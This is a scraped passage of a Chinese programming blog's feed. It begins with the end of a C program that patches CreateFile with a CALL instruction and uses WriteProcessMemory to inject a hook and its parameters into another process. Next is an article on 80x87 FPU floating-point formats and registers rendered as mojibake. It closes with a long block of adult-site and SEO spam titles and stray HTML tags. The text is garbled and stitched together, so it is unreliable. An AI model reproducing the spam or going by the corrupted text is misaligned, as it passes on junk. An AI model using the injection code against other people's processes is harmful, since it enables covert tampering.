聽 newcode[8] = (offsetaddr<<8)>>24;
聽 newcode[7] = (offsetaddr<<16)>>24;
聽 newcode[6] = (offsetaddr<<24)>>24;
聽 newcode[5] = 0xE8;

聽 printf("NewCode:");
聽 for(int j = 0; j < 10; j++)
聽 聽 聽 printf("0x%.2x ",newcode[j]);
聽 printf("\n\n");



聽 if(!ReadProcessMemory(GetCurrentProcess(),
聽 聽 聽 聽 聽 聽 聽 聽 聽 (LPCVOID)RParam.dwCreateFile,
聽 聽 聽 聽 聽 聽 聽 聽 聽 oldcode,
聽 聽 聽 聽 聽 聽 聽 聽 聽 10,
聽 聽 聽 聽 聽 聽 聽 聽 聽 &dwPid))
聽 {
聽 聽 聽 printf("read error");
聽 聽 聽 CloseHandle(hTargetProcess);
聽 聽 聽 FreeLibrary(hKernel32);
聽 聽 聽 return -1;
聽 }

聽 strcat((char*)RParam.szOldCode, (char*)oldcode);
聽 RParam.FunAddr = dwFunAddr;

聽 printf(
聽 聽 聽 聽 "RParam.dwCreateFile:%.8x\n"
聽 聽 聽 聽 "RParam.dwMessageBox:%.8x\n"
聽 聽 聽 聽 "RParam.dwGetCurrentProcess:%.8x\n"
聽 聽 聽 聽 "RParam.dwWriteProcessMemory:%.8x\n"
聽 聽 聽 聽 "RParam.FunAddr:%.8x\n",
聽 聽 聽 聽 RParam.dwCreateFile,
聽 聽 聽 聽 RParam.dwMessageBox,
聽 聽 聽 聽 RParam.dwGetCurrentProcess,
聽 聽 聽 聽 RParam.dwWriteProcessMemory,
聽 聽 聽 聽 RParam.FunAddr);
聽 printf("RParam.szOldCode:");
聽 for( int i = 0; i< 10; i++)
聽 聽 聽 printf("0x%.2x ", RParam.szOldCode[i]);
聽 printf("\n");


聽 if(!WriteProcessMemory(hTargetProcess, (LPVOID)dwFunAddr, (LPVOID)&HookCreateFile, 8192, &dwPid))
聽 {
聽 聽 聽 printf("WriteRemoteProcessesMemory Error!\n");
聽 聽 聽 CloseHandle(hTargetProcess);
聽 聽 聽 FreeLibrary(hKernel32);
聽 聽 聽 return -1;
聽 }

聽 if(!WriteProcessMemory(hTargetProcess, (LPVOID)dwPramaAddr, (LPVOID)&RParam, sizeof(RemoteParam), &dwPid))
聽 {
聽 聽 聽 printf("WriteRemoteProcessesMemory Error!\n");
聽 聽 聽 CloseHandle(hTargetProcess);
聽 聽 聽 FreeLibrary(hKernel32);
聽 聽 聽 return -1;
聽 }

聽 if(!WriteProcessMemory(hTargetProcess, (LPVOID)RParam.dwCreateFile, (LPVOID)newcode, 10, &dwPid))
聽 {
聽 聽 聽 printf("WriteRemoteProcessesMemory Error!\n");
聽 聽 聽 CloseHandle(hTargetProcess);
聽 聽 聽 FreeLibrary(hKernel32);
聽 聽 聽 return -1;
聽 }

聽 printf("\nThat's all, good luck :)\n");
聽 CloseHandle(hTargetProcess);
聽 FreeLibrary(hKernel32);
聽 return 0;
}


]]>
[鏀墮泦]鍏充簬姹囩紪80X87FPU嫻偣榪愮畻http://www.shnenglu.com/saga/archive/2007/01/17/17721.htmlsaga.constantinesaga.constantineWed, 17 Jan 2007 06:46:00 GMThttp://www.shnenglu.com/saga/archive/2007/01/17/17721.htmlhttp://www.shnenglu.com/saga/comments/17721.htmlhttp://www.shnenglu.com/saga/archive/2007/01/17/17721.html#Feedback3http://www.shnenglu.com/saga/comments/commentRss/17721.htmlhttp://www.shnenglu.com/saga/services/trackbacks/17721.html 80X87FPU嫻偣鏁版嵁鐨勬牸寮忋佹誕鐐瑰瘎瀛樺櫒鐨勭壒鐐?br />
嫻偣鏁版嵁鏍煎紡:
鍦ㄨ綆楁満涓紝瀹炴暟鐨勬誕鐐規牸寮忥紙Floating-Point Format錛夋墍紺猴紝鍒嗘垚鎸囨暟銆佹湁鏁堟暟瀛楀拰絎﹀彿浣嶄笁涓儴鍒嗐?br />路聽 絎﹀彿錛圫ign錛夆斺旇〃紺烘暟鎹殑姝h礋錛屽湪鏈楂樻湁鏁堜綅錛圡SB錛夈傝礋鏁扮殑絎﹀彿浣嶄負1錛屾鏁扮殑絎﹀彿涓?銆?br />路聽 鎸囨暟錛圗xponent錛夆斺斾篃琚О涓洪樁鐮侊紝琛ㄧず鏁版嵁浠?涓哄簳鐨勫箓銆傛寚鏁伴噰鐢ㄥ亸縐葷爜錛圔iased Exponent錛夎〃紺猴紝鎭掍負鏁存暟銆?br />路聽 鏈夋晥鏁板瓧錛圫ignificand錛夆斺旇〃紺烘暟鎹殑鏈夋晥鏁板瓧錛屽弽鏄犳暟鎹殑綺懼害銆傛湁鏁堟暟瀛椾竴鑸噰鐢ㄨ鏍煎寲錛圢ormalized錛夊艦寮忥紝鏄竴涓函灝忔暟錛屾墍浠ヤ篃琚О涓哄熬鏁幫紙Mantissa錛夈佸皬鏁版垨鍒嗘暟錛團raction錛夈?br />聽聽聽聽聽 80x87鏀寔涓夌嫻偣鏁版嵁綾誨瀷錛氬崟綺懼害銆佸弻綺懼害鍜屾墿灞曠簿搴︼紱瀹冧滑鐨勯暱搴︿緷嬈′負32銆?4鍜?0浣嶏紝鍗?銆?鍜?0涓瓧鑺傦紱
路聽 鍗曠簿搴︽誕鐐規暟錛?2浣嶇煭瀹炴暟錛夆斺旂敱1浣嶇鍙楓?浣嶆寚鏁般?3浣嶆湁鏁堟暟緇勬垚銆?br />路聽 鍙岀簿搴︽誕鐐規暟錛?4浣嶉暱瀹炴暟錛夆斺旂敱1浣嶇鍙楓?1浣嶆寚鏁般?2浣嶆湁鏁堟暟緇勬垚銆?br />路聽 鎵╁睍綺懼害嫻偣鏁幫紙80浣嶄復鏃跺疄鏁幫級鈥斺旂敱1浣嶇鍙楓?5浣嶆寚鏁般?4浣嶆湁鏁堟暟緇勬垚銆傚緢澶氳綆楁満涓茍娌℃湁80浣嶆墿灞曠簿搴﹁繖縐嶆暟鎹被鍨嬶紝80x87 FPU涓昏鍦ㄥ唴閮ㄤ嬌鐢ㄥ畠瀛樿串涓棿緇撴灉錛屼互淇濊瘉鏈緇堟暟鍊肩殑綺懼害銆?/p>

80x87鐨勬寚浠ょ郴緇?br />嫻偣澶勭悊鍗曞厓FPU鍏鋒湁鑷繁鐨勬寚浠ょ郴緇燂紝鍏辨湁鍑犲崄縐嶆誕鐐規寚浠わ紝鍙互鍒嗘垚浼犻併佺畻鏈繍綆椼佽秴瓚婂嚱鏁般佹瘮杈冦丗PU鎺у埗絳夌被銆傛誕鐐規寚浠ゅ綊灞炰簬ESC鎸囦護錛屽叾鍓?浣嶇殑鎿嶄綔鐮侀兘鏄?1011b錛屽畠鐨勬寚浠ゅ姪璁扮鍧囦互F寮澶淬?br />1. 嫻偣浼犻佺被鎸囦護
聽聽聽 嫻偣鏁版嵁浼犻佹寚浠ゅ畬鎴愪富瀛樹笌鏍堥《st(0)銆佹暟鎹瘎瀛樺櫒st(i)涓庢爤欏朵箣闂寸殑嫻偣鏍煎紡鏁版嵁鐨勪紶閫併傛誕鐐規暟鎹瘎瀛樺櫒鏄竴涓灝劇浉鎺ョ殑鍫嗘爤錛屾墍浠ュ畠鐨勬暟鎹紶閫佸疄闄呬笂鏄鍫嗘爤鐨勬搷浣滐紝鏈変簺瑕佹敼鍙樺爢鏍堟寚閽圱OP錛屽嵆淇敼褰撳墠鏍堥《銆?br />2. 綆楁湳榪愮畻綾繪寚浠?br />聽聽聽 榪欑被嫻偣鎸囦護瀹炵幇嫻偣鏁般?6/32浣嶆暣鏁扮殑鍔犮佸噺銆佷箻銆侀櫎榪愮畻錛屽畠浠敮鎸佺殑瀵誨潃鏂瑰紡鐩稿悓銆傝繖緇勬寚浠よ繕鍖呮嫭鏈夊叧綆楁湳榪愮畻鐨勬寚浠わ紝渚嬪姹傜粷瀵瑰箋佸彇鏁寸瓑銆?br />3. 瓚呰秺鍑芥暟綾繪寚浠?br />聽聽聽 嫻偣鎸囦護闆嗕腑鍖呭惈鏈夎繘琛屼笁瑙掑嚱鏁般佹寚鏁板拰瀵規暟榪愮畻鐨勬寚浠ゃ?br />4. 嫻偣姣旇緝綾繪寚浠?br />聽聽聽 嫻偣姣旇緝鎸囦護姣旇緝鏍堥《鏁版嵁涓庢寚瀹氱殑婧愭搷浣滄暟錛屾瘮杈冪粨鏋滈氳繃嫻偣鐘舵佸瘎瀛樺櫒鍙嶆槧銆?br />5. FPU鎺у埗綾繪寚浠?br />聽聽聽 FPU鎺у埗綾繪寚浠ょ敤浜庢帶鍒跺拰媯嫻嬫誕鐐瑰鐞嗗崟鍏僃PU鐨勭姸鎬佸強鎿嶄綔鏂瑰紡銆?/p>

閲囩敤嫻偣鎸囦護鐨勬眹緙栬璦紼嬪簭鏍煎紡錛屼笌鏁存暟鎸囦護婧愮▼搴忔牸寮忔槸綾諱技鐨勶紝浣嗘湁浠ヤ笅鍑犵偣闇瑕佹敞鎰忥細
路聽 浣跨敤FPU閫夋嫨浼寚浠?br />聽聽聽聽聽 鐢變簬姹囩紪紼嬪簭MASM榛樿鍙瘑鍒?086鎸囦護錛屾墍浠ヨ鍔犱笂.8087 / .287 / .387絳変吉鎸囦護閫夋嫨姹囩紪嫻偣鎸囦護錛涙湁鏃訛紝榪樿鍔犱笂鐩稿簲鐨?238/.386絳変吉鎸囦護銆?br />路聽 瀹氫箟嫻偣鏁版嵁
聽聽聽聽聽 鏁版嵁瀹氫箟浼寚浠d(dword) / dq(qword) / dt(tbyte)渚濇璇存槑32/64/80浣嶆暟鎹紱瀹冧滑鍙互鐢ㄤ簬瀹氫箟鍗曠簿搴︺佸弻綺懼害鍜屾墿灞曠簿搴︽誕鐐規暟銆備負浜嗗尯鍒簬鏁存暟瀹氫箟錛孧ASM 6.11寤鴻閲囩敤REAL4銆丷EAL8銆丷EAL10瀹氫箟鍗曘佸弻銆佹墿灞曠簿搴︽誕鐐規暟錛屼絾涓嶈兘鍑虹幇綰暣鏁幫紙鍏跺疄錛屾暣鏁板悗闈㈣ˉ涓皬鏁扮偣灝卞彲浠ヤ簡錛夈傜浉搴旂殑鏁版嵁灞炴т緷嬈℃槸dword銆乹word銆乼byte銆傚彟澶栵紝瀹炲父鏁板彲浠ョ敤E琛ㄧず10鐨勫箓銆?br />路聽 鍒濆鍖栨誕鐐瑰鐞嗗崟鍏?
聽聽聽聽聽 姣忓綋鎵ц涓涓柊鐨勬誕鐐圭▼搴忔椂錛岀涓鏉℃寚浠ら兘搴旇鏄垵濮嬪寲FPU鐨勬寚浠init銆傝鎸囦護娓呴櫎嫻偣鏁版嵁瀵勫瓨鍣ㄦ爤鍜屽紓甯革紝涓虹▼搴忔彁渚涗竴涓滃共鍑鈥濈殑鍒濆鐘舵併傚惁鍒欙紝閬楃暀鍦ㄦ誕鐐瑰瘎瀛樺櫒鏍堜腑鐨勬暟鎹彲鑳戒細浜х敓鍫嗘爤婧㈠嚭銆傚彟涓鏂歸潰錛屾誕鐐規寚浠ょ▼搴忔緇撴潫錛屼篃鏈濂芥竻絀烘誕鐐規暟鎹瘎瀛樺櫒銆?/p>

嫻偣瀵勫瓨鍣?
嫻偣鎵ц鐜鐨勫瘎瀛樺櫒涓昏鏄?涓氱敤鏁版嵁瀵勫瓨鍣ㄥ拰鍑犱釜涓撶敤瀵勫瓨鍣紝瀹冧滑鏄姸鎬佸瘎瀛樺櫒銆佹帶鍒跺瘎瀛樺櫒銆佹爣璁板瘎瀛樺櫒絳?br />8涓誕鐐規暟鎹瘎瀛樺櫒錛團PU Data Register錛夛紝緙栧彿FPR0 ~ FPR7銆傛瘡涓誕鐐瑰瘎瀛樺櫒閮芥槸80浣嶇殑錛屼互鎵╁睍綺懼害鏍煎紡瀛樺偍鏁版嵁銆傚綋鍏朵粬綾誨瀷鏁版嵁鍘嬪叆鏁版嵁瀵勫瓨鍣ㄦ椂錛孭FU鑷姩杞崲鎴愭墿灞曠簿搴︼紱鐩稿弽錛屾暟鎹瘎瀛樺櫒鐨勬暟鎹彇鍑烘椂錛岀郴緇熶篃浼氳嚜鍔ㄨ漿鎹㈡垚瑕佹眰鐨勬暟鎹被鍨嬨?br />聽聽聽聽聽 8涓誕鐐規暟鎹瘎瀛樺櫒緇勬垚棣栧熬鐩告帴鐨勫爢鏍堬紝褰撳墠鏍堥《ST(0)鎸囧悜鐨凢PRx鐢辯姸鎬佸瘎瀛樺櫒涓璗OP瀛楁鎸囨槑銆傛暟鎹瘎瀛樺櫒涓嶉噰鐢ㄩ殢鏈哄瓨鍙栵紝鑰屾槸鎸夌収鈥滃悗榪涘厛鍑衡濈殑鍫嗘爤鍘熷垯宸ヤ綔錛屽茍涓旈灝懼驚鐜傚悜鏁版嵁瀵勫瓨鍣ㄤ紶閫侊紙Load錛夋暟鎹椂灝辨槸鍏ユ爤錛屽爢鏍堟寚閽圱OP鍏堝噺1錛屽啀灝嗘暟鎹帇鍏ユ爤欏跺瘎瀛樺櫒錛涗粠鏁版嵁瀵勫瓨鍣ㄥ彇鍑猴紙Store錛夋暟鎹椂灝辨槸鍑烘爤錛屽厛灝嗘爤欏跺瘎瀛樺櫒鏁版嵁寮瑰嚭錛屽啀淇敼鍫嗘爤鎸囬拡浣縏OP鍔?銆傛誕鐐瑰瘎瀛樺櫒鏍堣繕鏈夐灝懼驚鐜浉榪炵殑鐗圭偣銆備緥濡傦紝鑻ュ綋鍓嶆爤欏禩OP=0錛堝嵆ST(0) = PFR0錛夛紝閭d箞錛屽叆鏍堟搷浣滃悗灝變嬌TOP=7錛堝嵆浣縎T(0) = PFR7錛夛紝鏁版嵁琚帇鍏FR7銆傛墍浠ワ紝嫻偣鏁版嵁瀵勫瓨鍣ㄥ父甯歌縐頒負嫻偣鏁版嵁鏍堛?br />聽聽聽聽聽 涓轟簡琛ㄦ槑嫻偣鏁版嵁瀵勫瓨鍣ㄤ腑鏁版嵁鐨勬ц川錛屽搴旀瘡涓狥PR瀵勫瓨鍣紝閮芥湁涓涓?浣嶇殑鏍囪錛圱ag錛変綅錛岃繖8涓爣璁皌ag0 ~ tag7緇勬垚涓涓?6浣嶇殑鏍囪瀵勫瓨鍣ㄣ?/p>

]]>
青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
      <noscript id="pjuwb"></noscript>
            <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
              <dd id="pjuwb"></dd>
              <abbr id="pjuwb"></abbr>
              亚洲国产高清aⅴ视频| 欧美电影在线播放| 国产日韩欧美在线播放| 性色av一区二区三区在线观看| 9久草视频在线视频精品| 欧美日韩一区二区三区免费看| 制服丝袜激情欧洲亚洲| 中文av字幕一区| 国产夜色精品一区二区av| 久久夜精品va视频免费观看| 久久综合给合久久狠狠色| 99视频精品| 午夜精品国产| 亚洲电影观看| 91久久综合| 欧美三区在线| 毛片一区二区| 欧美日韩亚洲激情| 久久av资源网| 欧美国产日韩一区| 午夜精品福利一区二区蜜股av| 久久精品视频免费播放| 99re6这里只有精品视频在线观看| 99视频国产精品免费观看| 韩日成人av| 好吊色欧美一区二区三区视频| 亚洲精品你懂的| 亚洲图片欧美一区| 玉米视频成人免费看| 99热在这里有精品免费| …久久精品99久久香蕉国产 | 国产农村妇女精品| 欧美va亚洲va香蕉在线| 国产精品国产三级欧美二区 | 久久婷婷国产综合尤物精品| 欧美巨乳波霸| 欧美高清成人| 国产一区二区日韩精品| 在线综合亚洲欧美在线视频| 亚洲成在线观看| 性久久久久久久久| 亚洲一区欧美一区| 欧美精品一区二区视频| 欧美国产日韩精品| 一区二区三区无毛| 午夜精品福利电影| 亚洲欧美一区二区三区久久 | 亚洲欧美综合另类中字| 亚洲一区成人| 欧美精品一区二区蜜臀亚洲| 久久综合久久综合久久| 国产欧美一区二区精品忘忧草| 亚洲精品一区二区三区樱花| 亚洲激情啪啪| 美女图片一区二区| 免费成人美女女| 狠狠色狠狠色综合系列| 欧美一区二区性| 久久久人成影片一区二区三区观看 | 国产精品高清网站| 亚洲乱码国产乱码精品精| 亚洲欧洲精品天堂一级| 久久亚洲综合网| 欧美3dxxxxhd| 亚洲黄色av一区| 欧美大片91| 亚洲精品日韩久久| 一本久久知道综合久久| 欧美日韩免费观看一区=区三区| 亚洲国产高潮在线观看| 亚洲欧洲日韩在线| 欧美另类视频| 一本色道久久综合| 性高湖久久久久久久久| 国产日韩精品综合网站| 久久精品国产99国产精品| 久久综合给合久久狠狠狠97色69| 黄色亚洲大片免费在线观看| 久久综合狠狠综合久久激情| 欧美国产欧美综合| 一区二区三区四区蜜桃| 国产精品青草综合久久久久99| 午夜久久影院| 免费看亚洲片| 欧美精品免费看| 乱码第一页成人| 亚洲伦理自拍| 国产精品jizz在线观看美国| 亚洲一区二区三区四区五区黄| 久久成人久久爱| 亚洲国产欧美在线| 欧美亚州在线观看| 久久久久久一区二区| 91久久久久| 久久久噜噜噜久久| 日韩亚洲欧美成人| 国产婷婷精品| 欧美精品一区二区三区久久久竹菊 | 午夜精品视频在线观看| 欧美成人第一页| 亚洲一区二区视频在线| 国产在线视频欧美| 欧美日韩成人在线视频| 欧美在线观看一二区| 亚洲免费成人av| 久久手机免费观看| 亚洲一区在线观看免费观看电影高清| 国产毛片精品国产一区二区三区| 开元免费观看欧美电视剧网站| 亚洲视频一区二区| 欧美黄色一区| 久久久久久一区二区| 一区二区日韩| 亚洲福利视频网| 国产亚洲欧洲| 国产精品女人网站| 欧美成人午夜视频| 久久精品国产免费| 亚洲图片在线| 99精品免费| 亚洲精品乱码久久久久| 毛片一区二区三区| 久久久久国色av免费看影院| 亚洲专区国产精品| 一本久久知道综合久久| 亚洲黄页视频免费观看| 国内精品久久久| 国产精品制服诱惑| 国产精品久久久一区二区三区| 欧美欧美全黄| 欧美激情影音先锋| 免费的成人av| 免费观看在线综合色| 久久精品国产亚洲精品| 午夜精品偷拍| 久久精品国产2020观看福利| 亚洲字幕一区二区| 亚洲一区观看| 欧美一区二区高清| 欧美亚洲视频在线观看| 亚洲欧美日韩精品一区二区| 亚洲一区视频在线观看视频| 亚洲一区国产视频| 亚洲欧美国产一区二区三区| 亚洲欧美日韩国产成人| 午夜欧美精品| 久久精品国产亚洲一区二区| 久久亚洲精品网站| 欧美承认网站| 欧美理论大片| 国产精品一二| 黑丝一区二区| 亚洲黄色免费电影| 亚洲精品影视在线观看| 一区二区三区高清在线| 亚洲午夜电影| 久久国产精品久久久久久电车| 亚洲三级免费| 国产性色一区二区| 一区二区三区亚洲| 亚洲人成在线播放网站岛国| 亚洲裸体视频| 香蕉久久一区二区不卡无毒影院| 久久成年人视频| 免费观看在线综合色| 91久久精品国产91久久| 亚洲私人影院| 久久婷婷国产综合精品青草| 欧美日韩大陆在线| 国产九区一区在线| 亚洲福利视频免费观看| 亚洲在线电影| 欧美成人午夜剧场免费观看| 日韩一级在线观看| 久久se精品一区精品二区| 欧美大片在线观看一区| 国产乱码精品一区二区三区不卡| 在线精品观看| 午夜精品理论片| 欧美激情国产日韩精品一区18| 在线亚洲成人| 欧美成人官网二区| 国产日产高清欧美一区二区三区| 亚洲精品国产精品国自产在线| 亚洲欧美自拍偷拍| 亚洲电影网站| 欧美自拍偷拍午夜视频| 欧美日韩理论| 亚洲欧洲三级| 久久看片网站| 亚洲免费在线视频| 欧美日韩福利| 亚洲黄一区二区三区| 久久激情综合| 亚洲无毛电影| 欧美日韩国产首页| 亚洲国产老妈| 久色成人在线| 久久aⅴ国产紧身牛仔裤| 国产精品夫妻自拍|